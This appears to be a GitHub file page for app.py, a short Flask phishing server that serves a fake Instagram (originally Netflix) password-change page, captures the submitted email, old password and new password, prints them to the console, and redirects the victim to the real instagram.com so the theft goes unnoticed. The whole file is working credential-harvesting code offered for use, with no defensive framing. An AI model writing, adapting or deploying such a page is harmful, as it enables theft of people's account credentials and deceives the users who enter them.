-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathapp.py
More file actions
28 lines (25 loc) · 1.06 KB
/
Copy pathapp.py
File metadata and controls
28 lines (25 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, render_template, request, jsonify, redirect
app = Flask(__name__)
#DEFAULT NETFLIX TEMPLATE
@app.route('/')
def index():
#create a sub folder named template and move ur custom_template into that folder then only it will work
return render_template('instagram.html')
@app.route('/api/savePassword', methods=['POST'])
def save_password():
old_password = request.form.get('oldpassword')
new_password = request.form.get('password')
emailaddr = request.form.get("email")
if old_password and new_password:
try:
# Print the passwords to the console
print(f"Received email: {emailaddr}")
print(f"Received old password: {old_password}")
print(f"Received new password: {new_password}")
return redirect("https://instagram.com") # Indentation corrected
except Exception as e:
return jsonify({'error': str(e)}), 500
else:
return jsonify({'error': 'Missing password fields'}), 400
if __name__ == '__main__':
app.run(debug=True, port=4000)